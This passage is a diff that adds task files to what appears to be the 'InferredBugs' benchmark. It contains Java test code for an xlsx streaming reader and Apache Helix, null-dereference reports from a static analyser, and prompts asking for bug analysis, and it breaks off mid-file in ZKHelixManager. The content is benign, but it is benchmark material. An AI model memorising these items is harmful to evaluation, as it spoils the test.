+        StreamingReader reader = StreamingReader.builder().password("test").read(is);) {
+      OUTER:
+      for(Row r : reader) {
+        for(Cell c : r) {
+          assertEquals("Demo", c.getStringCellValue());
+          assertEquals("Demo", c.getRichStringCellValue().getString());
+          break OUTER;
+        }
+      }
+    }
+  }
+
+  @Test
+  public void testStringCellValue() throws Exception {
+    try(
+        InputStream is = new FileInputStream(new File("src/test/resources/blank_cell_StringCellValue.xlsx"));
+        StreamingReader reader = StreamingReader.builder().read(is);
+    ) {
+      for(Row r : reader) {
+        if(r.getRowNum() == 1) {
+          assertEquals("", r.getCell(1).getStringCellValue());
+          assertEquals("", r.getCell(1).getRichStringCellValue().getString());
+        }
+      }
+    }
+  }
+
+  @Test
+  public void testNullValueType() throws Exception {
+    try(
+        InputStream is = new FileInputStream(new File("src/test/resources/null_celltype.xlsx"));
+        StreamingReader reader = StreamingReader.builder().read(is);
+    ) {
+      for(Row r : reader) {
+        for(Cell cell : r) {
+          if(r.getRowNum() == 0 && cell.getColumnIndex() == 8) {
+            assertEquals(0, cell.getCellType());
+            assertEquals("8:00:00", cell.getStringCellValue());
+          }
+        }
+      }
+    }
+  }
+
+  @Test
+  public void testInlineCells() throws Exception {
+    try(
+        InputStream is = new FileInputStream(new File("src/test/resources/inline.xlsx"));
+        StreamingReader reader = StreamingReader.builder().read(is);
+    ) {
+      Row row = reader.iterator().next();
+      assertEquals("First inline cell", row.getCell(0).getStringCellValue());
+      assertEquals("First inline cell", row.getCell(0).getRichStringCellValue().getString());
+      assertEquals("Second inline cell", row.getCell(1).getStringCellValue());
+      assertEquals("Second inline cell", row.getCell(1).getRichStringCellValue().getString());
+    }
+  }
+
+  @Test
+  public void testMissingRattrs() throws Exception {
+    try(
+        InputStream is = new FileInputStream(new File("src/test/resources/missing-r-attrs.xlsx"));
+        StreamingReader reader = StreamingReader.builder().read(is);
+    ) {
+      Row row = reader.iterator().next();
+      assertEquals(0, row.getRowNum());
+      assertEquals("1", row.getCell(0).getStringCellValue());
+      assertEquals("5", row.getCell(4).getStringCellValue());
+      row = reader.iterator().next();
+      assertEquals(1, row.getRowNum());
+      assertEquals("6", row.getCell(0).getStringCellValue());
+      assertEquals("10", row.getCell(4).getStringCellValue());
+      row = reader.iterator().next();
+      assertEquals(6, row.getRowNum());
+      assertEquals("11", row.getCell(0).getStringCellValue());
+      assertEquals("15", row.getCell(4).getStringCellValue());
+
+      assertFalse(reader.iterator().hasNext());
+    }
+  }
+
+  @Test
+  public void testClosingFiles() throws Exception {
+    OPCPackage o = OPCPackage.open(new File("src/test/resources/blank_cell_StringCellValue.xlsx"), PackageAccess.READ);
+    o.close();
+  }
+
+  @Test
+  public void shouldIgnoreSpreadsheetDrawingRows() throws Exception {
+    try(
+        InputStream is = new FileInputStream(new File("src/test/resources/has_spreadsheetdrawing.xlsx"));
+        StreamingReader reader = StreamingReader.builder().read(is);
+    ) {
+      Iterator<Row> iterator = reader.iterator();
+      while(iterator.hasNext()) {
+        iterator.next();
+      }
+    }
+  }
+
+	@Test
+	public void testShouldReturnNullForMissingCellPolicy_RETURN_BLANK_AS_NULL() throws Exception {
+  	  try (
+	    InputStream is = new FileInputStream(new File("src/test/resources/blank_cells.xlsx"));
+		StreamingReader reader = StreamingReader.builder()
+		    .read(is);
+		) {
+  	  	  Row row = reader.iterator().next();
+		  assertNotNull(row.getCell(0, Row.RETURN_BLANK_AS_NULL)); //Remain unchanged
+		  assertNull(row.getCell(1, Row.RETURN_BLANK_AS_NULL));
+		}
+	}
+
+	@Test
+	public void testShouldReturnBlankForMissingCellPolicy_CREATE_NULL_AS_BLANK() throws Exception {
+  	  try (
+	    InputStream is = new FileInputStream(new File("src/test/resources/null_cell.xlsx"));
+		StreamingReader reader = StreamingReader.builder()
+		    .read(is);
+		) {
+  	  	  Row row = reader.iterator().next();
+		  assertEquals("B1 is Null ->", row.getCell(0, Row.CREATE_NULL_AS_BLANK).getStringCellValue()); //Remain unchanged
+		  assertEquals("B1 is Null ->", row.getCell(0, Row.CREATE_NULL_AS_BLANK).getRichStringCellValue().getString()); //Remain unchanged
+		  assertThat(row.getCell(1), is(nullValue()));
+		  assertNotNull(row.getCell(1, Row.CREATE_NULL_AS_BLANK));
+		}
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `contents.get(valueOf(1))` could be null and is dereferenced at line 489.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void StreamingReaderTest.testSpecialStyles()
+
+### Procedure Id:
+com.monitorjbl.xlsx.StreamingReaderTest.testSpecialStyles():void.c7d60781c8a19dd7d3651b5e77b5e80a
+
+### File:
+src/test/java/com/monitorjbl/xlsx/StreamingReaderTest.java
+
+### Key:
+StreamingReaderTest.java|testSpecialStyles|NULL_DEREFERENCE
+
+### Node Key:
+82bc4705d6466a0b8509dff7973fc602
+
+### Hash:
+fa7b7da17623c8cc43d09d1a3343800c
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9567/instruction.md b/inferredbugs-9567/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c1b77cd35e54b7b846cf2533f23b42e7249b6eba
--- /dev/null
+++ b/inferredbugs-9567/instruction.md
@@ -0,0 +1,415 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helix
+**Bug ID:** 50
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.helix.integration.task;
+
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+
+import org.apache.helix.HelixDataAccessor;
+import org.apache.helix.PropertyKey;
+import org.apache.helix.TestHelper;
+import org.apache.helix.task.JobConfig;
+import org.apache.helix.task.JobContext;
+import org.apache.helix.task.JobQueue;
+import org.apache.helix.task.TargetState;
+import org.apache.helix.task.TaskState;
+import org.apache.helix.task.WorkflowConfig;
+import org.apache.helix.task.WorkflowContext;
+import org.apache.log4j.Logger;
+import org.testng.Assert;
+import org.testng.annotations.Test;
+
+import com.google.common.collect.ImmutableMap;
+import com.google.common.collect.Sets;
+
+public class TestRecurringJobQueue extends TaskTestBase {
+  private static final Logger LOG = Logger.getLogger(TestRecurringJobQueue.class);
+
+  @Test
+  public void deleteRecreateRecurrentQueue() throws Exception {
+    String queueName = TestHelper.getTestMethodName();
+
+    // Create a queue
+    LOG.info("Starting job-queue: " + queueName);
+    JobQueue.Builder queueBuild = TaskTestUtil.buildRecurrentJobQueue(queueName);
+    List<String> currentJobNames = createAndEnqueueJob(queueBuild, 2);
+
+    _driver.start(queueBuild.build());
+
+    WorkflowContext wCtx = TaskTestUtil.pollForWorkflowContext(_driver, queueName);
+
+    // ensure job 1 is started before stop it
+    String scheduledQueue = wCtx.getLastScheduledSingleWorkflow();
+    String namedSpaceJob1 = String.format("%s_%s", scheduledQueue, currentJobNames.get(0));
+    _driver.pollForJobState(scheduledQueue, namedSpaceJob1, TaskState.IN_PROGRESS);
+
+    _driver.stop(queueName);
+    _driver.delete(queueName);
+    Thread.sleep(500);
+
+    JobQueue.Builder queueBuilder = TaskTestUtil.buildRecurrentJobQueue(queueName, 5);
+    currentJobNames.clear();
+    currentJobNames = createAndEnqueueJob(queueBuilder, 2);
+
+    _driver.createQueue(queueBuilder.build());
+
+
+    wCtx = TaskTestUtil.pollForWorkflowContext(_driver, queueName);
+
+    // ensure jobs are started and completed
+    scheduledQueue = wCtx.getLastScheduledSingleWorkflow();
+    namedSpaceJob1 = String.format("%s_%s", scheduledQueue, currentJobNames.get(0));
+    _driver.pollForJobState(scheduledQueue, namedSpaceJob1, TaskState.COMPLETED);
+
+    scheduledQueue = wCtx.getLastScheduledSingleWorkflow();
+    String namedSpaceJob2 = String.format("%s_%s", scheduledQueue, currentJobNames.get(1));
+    _driver.pollForJobState(scheduledQueue, namedSpaceJob2, TaskState.COMPLETED);
+  }
+
+  @Test
+  public void stopDeleteJobAndResumeRecurrentQueue() throws Exception {
+    String queueName = TestHelper.getTestMethodName();
+
+    // Create a queue
+    LOG.info("Starting job-queue: " + queueName);
+    JobQueue.Builder queueBuilder = TaskTestUtil.buildRecurrentJobQueue(queueName, 5);
+
+    // Create and Enqueue jobs
+    Map<String, String> commandConfig = ImmutableMap.of(MockTask.TIMEOUT_CONFIG, String.valueOf(500));
+    Thread.sleep(100);
+    List<String> currentJobNames = createAndEnqueueJob(queueBuilder, 5);
+    _driver.createQueue(queueBuilder.build());
+
+    WorkflowContext wCtx = TaskTestUtil.pollForWorkflowContext(_driver, queueName);
+    String scheduledQueue = wCtx.getLastScheduledSingleWorkflow();
+
+    // ensure job 1 is started before deleting it
+    String deletedJob1 = currentJobNames.get(0);
+    String namedSpaceDeletedJob1 = String.format("%s_%s", scheduledQueue, deletedJob1);
+    _driver.pollForJobState(scheduledQueue, namedSpaceDeletedJob1, TaskState.IN_PROGRESS,
+        TaskState.COMPLETED);
+
+    // stop the queue
+    LOG.info("Pausing job-queue: " + scheduledQueue);
+    _driver.stop(queueName);
+    _driver.pollForJobState(scheduledQueue, namedSpaceDeletedJob1, TaskState.STOPPED);
+    _driver.pollForWorkflowState(scheduledQueue, TaskState.STOPPED);
+
+    // delete the in-progress job (job 1) and verify it being deleted
+    _driver.deleteJob(queueName, deletedJob1);
+    verifyJobDeleted(queueName, namedSpaceDeletedJob1);
+    verifyJobDeleted(scheduledQueue, namedSpaceDeletedJob1);
+
+    LOG.info("Resuming job-queue: " + queueName);
+    _driver.resume(queueName);
+
+    // ensure job 2 is started
+    _driver.pollForJobState(scheduledQueue,
+        String.format("%s_%s", scheduledQueue, currentJobNames.get(1)), TaskState.IN_PROGRESS,
+        TaskState.COMPLETED);
+
+    // stop the queue
+    LOG.info("Pausing job-queue: " + queueName);
+    _driver.stop(queueName);
+    _driver.pollForJobState(scheduledQueue,
+        String.format("%s_%s", scheduledQueue, currentJobNames.get(1)), TaskState.STOPPED);
+    _driver.pollForWorkflowState(scheduledQueue, TaskState.STOPPED);
+
+    // Ensure job 3 is not started before deleting it
+    String deletedJob2 = currentJobNames.get(2);
+    String namedSpaceDeletedJob2 = String.format("%s_%s", scheduledQueue, deletedJob2);
+    TaskTestUtil.pollForEmptyJobState(_driver, scheduledQueue, namedSpaceDeletedJob2);
+
+    // delete not-started job (job 3) and verify it being deleted
+    _driver.deleteJob(queueName, deletedJob2);
+    verifyJobDeleted(queueName, namedSpaceDeletedJob2);
+    verifyJobDeleted(scheduledQueue, namedSpaceDeletedJob2);
+
+    LOG.info("Resuming job-queue: " + queueName);
+    _driver.resume(queueName);
+
+    // Ensure the jobs left are successful completed in the correct order
+    currentJobNames.remove(deletedJob1);
+    currentJobNames.remove(deletedJob2);
+    long preJobFinish = 0;
+    for (int i = 0; i < currentJobNames.size(); i++) {
+      String namedSpaceJobName = String.format("%s_%s", scheduledQueue, currentJobNames.get(i));
+      _driver.pollForJobState(scheduledQueue, namedSpaceJobName, TaskState.COMPLETED);
+
+      JobContext jobContext = _driver.getJobContext(namedSpaceJobName);
+      long jobStart = jobContext.getStartTime();
+      Assert.assertTrue(jobStart >= preJobFinish);
+      preJobFinish = jobContext.getFinishTime();
+    }
+    // verify the job is not there for the next recurrence of queue schedule
+  }
+
+  @Test
+  public void deleteJobFromRecurrentQueueNotStarted() throws Exception {
+    String queueName = TestHelper.getTestMethodName();
+
+    // Create a queue
+    LOG.info("Starting job-queue: " + queueName);
+    JobQueue.Builder queueBuilder = TaskTestUtil.buildRecurrentJobQueue(queueName);
+
+    // create jobs
+    List<JobConfig.Builder> jobs = new ArrayList<JobConfig.Builder>();
+    List<String> jobNames = new ArrayList<String>();
+    Map<String, String> commandConfig = ImmutableMap.of(MockTask.TIMEOUT_CONFIG, String.valueOf(500));
+
+    final int JOB_COUNTS = 3;
+    for (int i = 0; i < JOB_COUNTS; i++) {
+      String targetPartition = (i == 0) ? "MASTER" : "SLAVE";
+
+      JobConfig.Builder job = new JobConfig.Builder().setCommand(MockTask.TASK_COMMAND)
+          .setJobCommandConfigMap(commandConfig).setTargetResource(WorkflowGenerator.DEFAULT_TGT_DB)
+          .setTargetPartitionStates(Sets.newHashSet(targetPartition));
+      jobs.add(job);
+      jobNames.add(targetPartition.toLowerCase() + "Job" + i);
+    }
+
+    // enqueue all jobs except last one
+    for (int i = 0; i < JOB_COUNTS - 1; ++i) {
+      LOG.info("Enqueuing job: " + jobNames.get(i));
+      queueBuilder.enqueueJob(jobNames.get(i), jobs.get(i));
+    }
+
+    _driver.createQueue(queueBuilder.build());
+
+    String currentLastJob = jobNames.get(JOB_COUNTS - 2);
+
+    WorkflowContext wCtx = TaskTestUtil.pollForWorkflowContext(_driver, queueName);
+    String scheduledQueue = wCtx.getLastScheduledSingleWorkflow();
+
+    // ensure all jobs are finished
+    String namedSpaceJob = String.format("%s_%s", scheduledQueue, currentLastJob);
+    _driver.pollForJobState(scheduledQueue, namedSpaceJob, TaskState.COMPLETED);
+
+    // enqueue the last job
+    LOG.info("Enqueuing job: " + jobNames.get(JOB_COUNTS - 1));
+    _driver.enqueueJob(queueName, jobNames.get(JOB_COUNTS - 1), jobs.get(JOB_COUNTS - 1));
+    _driver.stop(queueName);
+
+    // remove the last job
+    _driver.deleteJob(queueName, jobNames.get(JOB_COUNTS - 1));
+
+    // verify
+    verifyJobDeleted(queueName,
+        String.format("%s_%s", scheduledQueue, jobNames.get(JOB_COUNTS - 1)));
+  }
+
+  @Test
+  public void testCreateStoppedQueue() throws InterruptedException {
+    String queueName = TestHelper.getTestMethodName();
+
+    // Create a queue
+    LOG.info("Starting job-queue: " + queueName);
+    JobQueue.Builder queueBuild = TaskTestUtil.buildRecurrentJobQueue(queueName, 0, 600000,
+        TargetState.STOP);
+    createAndEnqueueJob(queueBuild, 2);
+
+    _driver.createQueue(queueBuild.build());
+    WorkflowConfig workflowConfig = _driver.getWorkflowConfig(queueName);
+    Assert.assertEquals(workflowConfig.getTargetState(), TargetState.STOP);
+
+    _driver.resume(queueName);
+
+    //TaskTestUtil.pollForWorkflowState(_driver, queueName, );
+    WorkflowContext wCtx = TaskTestUtil.pollForWorkflowContext(_driver, queueName);
+
+    // ensure current schedule is started
+    String scheduledQueue = wCtx.getLastScheduledSingleWorkflow();
+    _driver.pollForWorkflowState(scheduledQueue, TaskState.COMPLETED);
+  }
+
+  @Test
+  public void testDeletingRecurrentQueueWithHistory() throws Exception {
+    final String queueName = TestHelper.getTestMethodName();
+    int intervalSeconds = 3;
+
+    // Create a queue
+    LOG.info("Starting job-queue: " + queueName);
+    JobQueue.Builder queueBuild = TaskTestUtil.buildRecurrentJobQueue(queueName, 0, 60,
+        TargetState.STOP);
+    createAndEnqueueJob(queueBuild, 2);
+
+    _driver.createQueue(queueBuild.build());
+    WorkflowConfig workflowConfig = _driver.getWorkflowConfig(queueName);
+    Assert.assertEquals(workflowConfig.getTargetState(), TargetState.STOP);
+
+    // reset interval to a smaller number so as to accelerate test
+    workflowConfig.putSimpleConfig(WorkflowConfig.WorkflowConfigProperty.RecurrenceInterval.name(),
+        "" + intervalSeconds);
+    _driver.updateWorkflow(queueName, workflowConfig);
+
+    _driver.resume(queueName);
+
+    WorkflowContext wCtx;
+    // wait until at least 2 workflows are scheduled based on template queue
+    do {
+      Thread.sleep(intervalSeconds);
+      wCtx = TaskTestUtil.pollForWorkflowContext(_driver, queueName);
+    } while (wCtx.getScheduledWorkflows().size() < 2);
+
+    // Stop recurring workflow
+    _driver.stop(queueName);
+    _driver.pollForWorkflowState(queueName, TaskState.STOPPED);
+
+    // Record all scheduled workflows
+    wCtx = TaskTestUtil.pollForWorkflowContext(_driver, queueName);
+    List<String> scheduledWorkflows = new ArrayList<String>(wCtx.getScheduledWorkflows());
+    final String lastScheduledWorkflow = wCtx.getLastScheduledSingleWorkflow();
+
+    // Delete recurrent workflow
+    _driver.delete(queueName);
+
+    // Wait until recurrent workflow and the last scheduled workflow are cleaned up
+    boolean result = TestHelper.verify(new TestHelper.Verifier() {
+      @Override public boolean verify() throws Exception {
+        WorkflowContext wCtx = _driver.getWorkflowContext(queueName);
+        WorkflowContext lastWfCtx = _driver.getWorkflowContext(lastScheduledWorkflow);
+        return (wCtx == null && lastWfCtx == null);
+      }
+    }, 5 * 1000);
+    Assert.assertTrue(result);
+
+    for (String scheduledWorkflow : scheduledWorkflows) {
+      WorkflowContext scheduledWorkflowCtx = _driver.getWorkflowContext(scheduledWorkflow);
+      WorkflowConfig scheduledWorkflowCfg = _driver.getWorkflowConfig(scheduledWorkflow);
+      Assert.assertNull(scheduledWorkflowCtx);
+      Assert.assertNull(scheduledWorkflowCfg);
+    }
+  }
+
+  @Test
+  public void testGetNoExistWorkflowConfig() {
+    String randomName = "randomJob";
+    WorkflowConfig workflowConfig = _driver.getWorkflowConfig(randomName);
+    Assert.assertNull(workflowConfig);
+    JobConfig jobConfig = _driver.getJobConfig(randomName);
+    Assert.assertNull(jobConfig);
+    WorkflowContext workflowContext = _driver.getWorkflowContext(randomName);
+    Assert.assertNull(workflowContext);
+    JobContext jobContext = _driver.getJobContext(randomName);
+    Assert.assertNull(jobContext);
+  }
+
+  private void verifyJobDeleted(String queueName, String jobName) throws Exception {
+    HelixDataAccessor accessor = _manager.getHelixDataAccessor();
+    PropertyKey.Builder keyBuilder = accessor.keyBuilder();
+
+    Assert.assertNull(accessor.getProperty(keyBuilder.idealStates(jobName)));
+    Assert.assertNull(accessor.getProperty(keyBuilder.resourceConfig(jobName)));
+    TaskTestUtil.pollForEmptyJobState(_driver, queueName, jobName);
+  }
+
+  private List<String> createAndEnqueueJob(JobQueue.Builder queueBuild, int jobCount) {
+    List<String> currentJobNames = new ArrayList<String>();
+    for (int i = 0; i < jobCount; i++) {
+      String targetPartition = (i == 0) ? "MASTER" : "SLAVE";
+
+      JobConfig.Builder jobConfig =
+          new JobConfig.Builder().setCommand(MockTask.TASK_COMMAND)
+              .setTargetResource(WorkflowGenerator.DEFAULT_TGT_DB)
+              .setTargetPartitionStates(Sets.newHashSet(targetPartition));
+      String jobName = targetPartition.toLowerCase() + "Job" + i;
+      queueBuild.enqueueJob(jobName, jobConfig);
+      currentJobNames.add(jobName);
+    }
+    Assert.assertEquals(currentJobNames.size(), jobCount);
+    return currentJobNames;
+  }
+}
+
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `workflowConfig` last assigned on line 255 could be null and is dereferenced at line 256.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestRecurringJobQueue.testDeletingRecurrentQueueWithHistory()
+
+### Procedure Id:
+org.apache.helix.integration.task.TestRecurringJobQueue.testDeletingRecurrentQueueWithHistory():void.9096ca5f7eec2684cc626fade56c18b4
+
+### File:
+helix-core/src/test/java/org/apache/helix/integration/task/TestRecurringJobQueue.java
+
+### Key:
+TestRecurringJobQueue.java|testDeletingRecurrentQueueWithHistory|NULL_DEREFERENCE
+
+### Node Key:
+7da37724fa80369a9d8bdb2726ece453
+
+### Hash:
+06ba81848cce7e3db58768a155f2e208
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9593/instruction.md b/inferredbugs-9593/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fafc2cd56d870a56987eeec56bcdbd33e2b819de
--- /dev/null
+++ b/inferredbugs-9593/instruction.md
@@ -0,0 +1,1473 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helix
+**Bug ID:** 80
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.helix.manager.zk;
+
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.UnknownHostException;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.Timer;
+import java.util.concurrent.TimeUnit;
+import javax.management.JMException;
+
+import com.google.common.collect.Sets;
+
+import org.apache.helix.BaseDataAccessor;
+import org.apache.helix.ClusterMessagingService;
+import org.apache.helix.ConfigAccessor;
+import org.apache.helix.HelixAdmin;
+import org.apache.helix.HelixConstants.ChangeType;
+import org.apache.helix.HelixDataAccessor;
+import org.apache.helix.HelixException;
+import org.apache.helix.HelixManager;
+import org.apache.helix.HelixManagerProperties;
+import org.apache.helix.HelixManagerProperty;
+import org.apache.helix.HelixPropertyFactory;
+import org.apache.helix.HelixTimerTask;
+import org.apache.helix.InstanceType;
+import org.apache.helix.LiveInstanceInfoProvider;
+import org.apache.helix.PreConnectCallback;
+import org.apache.helix.PropertyKey;
+import org.apache.helix.PropertyKey.Builder;
+import org.apache.helix.PropertyPathBuilder;
+import org.apache.helix.PropertyType;
+import org.apache.helix.SystemPropertyKeys;
+import org.apache.helix.api.listeners.ClusterConfigChangeListener;
+import org.apache.helix.api.listeners.ConfigChangeListener;
+import org.apache.helix.api.listeners.ControllerChangeListener;
+import org.apache.helix.api.listeners.CurrentStateChangeListener;
+import org.apache.helix.api.listeners.CustomizedStateChangeListener;
+import org.apache.helix.api.listeners.CustomizedStateConfigChangeListener;
+import org.apache.helix.api.listeners.CustomizedStateRootChangeListener;
+import org.apache.helix.api.listeners.CustomizedViewChangeListener;
+import org.apache.helix.api.listeners.CustomizedViewRootChangeListener;
+import org.apache.helix.api.listeners.ExternalViewChangeListener;
+import org.apache.helix.api.listeners.IdealStateChangeListener;
+import org.apache.helix.api.listeners.InstanceConfigChangeListener;
+import org.apache.helix.api.listeners.LiveInstanceChangeListener;
+import org.apache.helix.api.listeners.MessageListener;
+import org.apache.helix.api.listeners.ResourceConfigChangeListener;
+import org.apache.helix.api.listeners.ScopedConfigChangeListener;
+import org.apache.helix.controller.GenericHelixController;
+import org.apache.helix.controller.pipeline.Pipeline;
+import org.apache.helix.healthcheck.ParticipantHealthReportCollector;
+import org.apache.helix.healthcheck.ParticipantHealthReportCollectorImpl;
+import org.apache.helix.healthcheck.ParticipantHealthReportTask;
+import org.apache.helix.messaging.DefaultMessagingService;
+import org.apache.helix.model.BuiltInStateModelDefinitions;
+import org.apache.helix.model.HelixConfigScope.ConfigScopeProperty;
+import org.apache.helix.model.LiveInstance;
+import org.apache.helix.monitoring.ZKPathDataDumpTask;
+import org.apache.helix.monitoring.mbeans.HelixCallbackMonitor;
+import org.apache.helix.monitoring.mbeans.MonitorLevel;
+import org.apache.helix.msdcommon.exception.InvalidRoutingDataException;
+import org.apache.helix.participant.HelixStateMachineEngine;
+import org.apache.helix.participant.StateMachineEngine;
+import org.apache.helix.store.zk.AutoFallbackPropertyStore;
+import org.apache.helix.store.zk.ZkHelixPropertyStore;
+import org.apache.helix.util.HelixUtil;
+import org.apache.helix.zookeeper.api.client.HelixZkClient;
+import org.apache.helix.zookeeper.api.client.RealmAwareZkClient;
+import org.apache.helix.zookeeper.datamodel.ZNRecord;
+import org.apache.helix.zookeeper.impl.factory.DedicatedZkClientFactory;
+import org.apache.helix.zookeeper.impl.factory.HelixZkClientFactory;
+import org.apache.helix.zookeeper.impl.factory.SharedZkClientFactory;
+import org.apache.helix.zookeeper.zkclient.IZkStateListener;
+import org.apache.helix.zookeeper.zkclient.exception.ZkInterruptedException;
+import org.apache.helix.zookeeper.zkclient.serialize.PathBasedZkSerializer;
+import org.apache.zookeeper.Watcher.Event.EventType;
+import org.apache.zookeeper.Watcher.Event.KeeperState;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.apache.helix.zookeeper.datamodel.serializer.ChainedPathZkSerializer;
+import org.apache.helix.zookeeper.datamodel.serializer.ZNRecordSerializer;
+
+public class ZKHelixManager implements HelixManager, IZkStateListener {
+  private static Logger LOG = LoggerFactory.getLogger(ZKHelixManager.class);
+
+  public static final String ALLOW_PARTICIPANT_AUTO_JOIN = "allowParticipantAutoJoin";
+  private static final int FLAPPING_TIME_WINDOW = 300000; // Default to 300 sec
+  public static final int DEFAULT_MAX_DISCONNECT_THRESHOLD = 600; // Default to be a large number
+  private static final int DEFAULT_WAIT_CONNECTED_TIMEOUT = 10 * 1000;  // wait until connected for up to 10 seconds.
+
+  protected final String _zkAddress;
+  private final String _clusterName;
+  private final String _instanceName;
+  private final InstanceType _instanceType;
+  private final int _waitForConnectedTimeout; // wait time for testing connect
+  private final int _sessionTimeout; // client side session timeout, will be overridden by server timeout. Disconnect after timeout
+  private final int _connectionInitTimeout; // client timeout to init connect
+  private final List<PreConnectCallback> _preConnectCallbacks;
+  protected final List<CallbackHandler> _handlers;
+  private final HelixManagerProperties _properties;
+  private final HelixManagerProperty _helixManagerProperty;
+  private final HelixManagerStateListener _stateListener;
+
+  /**
+   * helix version#
+   */
+  private final String _version;
+  private int _reportLatency;
+
+  protected RealmAwareZkClient _zkclient;
+  private final DefaultMessagingService _messagingService;
+  private Map<ChangeType, HelixCallbackMonitor> _callbackMonitors;
+
+  private final MonitorLevel _monitorLevel;
+
+  private BaseDataAccessor<ZNRecord> _baseDataAccessor;
+  private ZKHelixDataAccessor _dataAccessor;
+  private final Builder _keyBuilder;
+  private ConfigAccessor _configAccessor;
+  private ZkHelixPropertyStore<ZNRecord> _helixPropertyStore;
+  protected LiveInstanceInfoProvider _liveInstanceInfoProvider = null;
+
+  private volatile String _sessionId;
+
+  /**
+   * Keep track of timestamps that zk State has become Disconnected If in a _timeWindowLengthMs
+   * window zk State has become Disconnected for more than_maxDisconnectThreshold times disconnect
+   * the zkHelixManager
+   */
+  private final List<Long> _disconnectTimeHistory = new ArrayList<Long>();
+  private final int _flappingTimeWindowMs;
+  private final int _maxDisconnectThreshold;
+
+  /**
+   * participant fields
+   */
+  private final StateMachineEngine _stateMachineEngine;
+  private final List<HelixTimerTask> _timerTasks = new ArrayList<>();
+
+  private final ParticipantHealthReportCollectorImpl _participantHealthInfoCollector;
+  private Long _sessionStartTime;
+  private ParticipantManager _participantManager;
+
+  /**
+   * controller fields
+   */
+  private GenericHelixController _controller;
+  private Set<Pipeline.Type> _enabledPipelineTypes;
+  private CallbackHandler _leaderElectionHandler = null;
+  protected final List<HelixTimerTask> _controllerTimerTasks = new ArrayList<>();
+
+  /**
+   * status dump timer-task
+   */
+  protected static class StatusDumpTask extends HelixTimerTask {
+    final HelixManager helixController;
+
+    public StatusDumpTask(HelixManager helixController) {
+      this.helixController = helixController;
+    }
+
+    @Override
+    public synchronized void start() {
+      long initialDelay = 0;
+      long period = 15 * 60 * 1000;
+      long timeThresholdNoChangeForStatusUpdates = 15 * 60 * 1000; // 15 minutes
+      long timeThresholdNoChangeForErrors = 24 * 60 * 60 * 1000; // 1 day
+      int maximumNumberOfLeafNodesAllowed = 100;
+
+      if (_timer == null) {
+        LOG.info("Start StatusDumpTask");
+        _timer = new Timer("StatusDumpTimerTask", true);
+        _timer.scheduleAtFixedRate(
+            new ZKPathDataDumpTask(helixController, timeThresholdNoChangeForStatusUpdates,
+                timeThresholdNoChangeForErrors, maximumNumberOfLeafNodesAllowed), initialDelay,
+            period);
+      }
+    }
+
+    @Override
+    public synchronized void stop() {
+      if (_timer != null) {
+        LOG.info("Stop StatusDumpTask");
+        _timer.cancel();
+        _timer = null;
+      }
+    }
+  }
+
